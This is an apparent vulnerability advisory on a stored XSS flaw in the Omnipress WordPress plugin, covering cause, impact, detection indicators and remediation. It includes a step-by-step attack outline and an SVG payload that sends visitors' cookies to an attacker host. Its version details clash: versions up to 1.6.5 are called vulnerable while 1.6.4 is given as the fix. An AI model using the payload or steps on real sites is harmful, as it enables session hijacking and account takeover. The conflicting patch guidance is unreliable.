CVE-2025-12163: 
WordPress vulnerability analysis and mitigation

CVE-2025-12163 is a Stored Cross-Site Scripting (XSS) vulnerability in the Omnipress plugin for WordPress, caused by unrestricted SVG file uploads with insufficient input sanitization and output escaping. It affects all versions of the plugin up to and including 1.6.5 (with some sources citing 1.6.3 as the last vulnerable version). The vulnerability was published on December 5, 2025, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is a combination of CWE-434 (Unrestricted Upload of File with Dangerous Type) and CWE-79 (Improper Neutralization of Input During Web Page Generation). The plugin's file upload REST API controller (FileUploadRestController.php) and uploader classes (FileUploader.php) fail to sanitize SVG file content before storing it, and fail to escape output when the SVG is served to users. An authenticated attacker with Author-level access or above can upload a crafted SVG file containing embedded JavaScript; when any site visitor accesses a page or directly accesses the SVG file, the malicious script executes in their browser. A public proof-of-concept is available on GitHub (PoC GitHub, Wordfence).

Successful exploitation allows injected JavaScript to execute in the browsers of any user who accesses the affected SVG file or pages embedding it, without requiring any additional user interaction beyond normal browsing. This can result in session hijacking, credential theft, unauthorized actions performed on behalf of victims (including administrators), and potential further compromise of the WordPress installation. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the plugin itself to the broader site and its visitors (Wordfence, Red Hat CVE).

A public proof-of-concept exploit is available on GitHub (published March 2, 2026), though there is no confirmed evidence of active in-the-wild exploitation at this time (PoC GitHub). The EPSS score is approximately 0.034%, indicating a low but non-zero probability of exploitation in the near term. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Author-level authentication on the target WordPress site, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Omnipress plugin at versions ≤1.6.5 using tools like WPScan or by checking /wp-content/plugins/omnipress/readme.txt for version information.
2. Obtain Author-level credentials: Acquire or compromise an account with at least Author-level privileges on the target WordPress site (e.g., via phishing, credential stuffing, or brute force).
3. Craft malicious SVG: Create an SVG file containing an embedded JavaScript payload, such as:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>
</svg>

4. Upload via Omnipress REST API: Use the plugin's file upload endpoint (e.g., via the WordPress REST API at /wp-json/omnipress/v1/upload or through the plugin's media upload interface) to upload the malicious SVG file.
5. Deliver the payload: Embed the uploaded SVG in a page or post, or share the direct URL to the SVG file with target users (e.g., administrators).
6. Harvest results: When a victim visits the page or accesses the SVG, the JavaScript executes in their browser, sending session cookies or performing actions on the attacker's behalf (PoC GitHub, Wordfence).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after accessing pages with SVG content; unusual POST requests to Omnipress REST API upload endpoints from Author-level accounts.
• File System: Presence of SVG files in the WordPress uploads directory (/wp-content/uploads/) containing <script> tags, javascript: URIs, or event handler attributes (e.g., onload, onerror).
• Logs: WordPress access logs showing POST requests to /wp-json/omnipress/v1/ upload endpoints; repeated access to specific SVG files by multiple different users or IP addresses.
• WordPress Admin: Unexpected SVG files uploaded by Author-level users, particularly those with embedded script content; new or modified pages embedding recently uploaded SVG files.

The primary remediation is to update the Omnipress plugin to version 1.6.4 or later, which addresses the insufficient sanitization of SVG uploads (Wordfence). As interim workarounds: restrict Author-level and above access to only trusted users; audit existing uploaded SVG files for malicious content and remove any suspicious files; consider disabling SVG uploads entirely if not operationally required. Deploying a Web Application Firewall (WAF) with rules to detect and block malicious SVG content can provide additional defense-in-depth.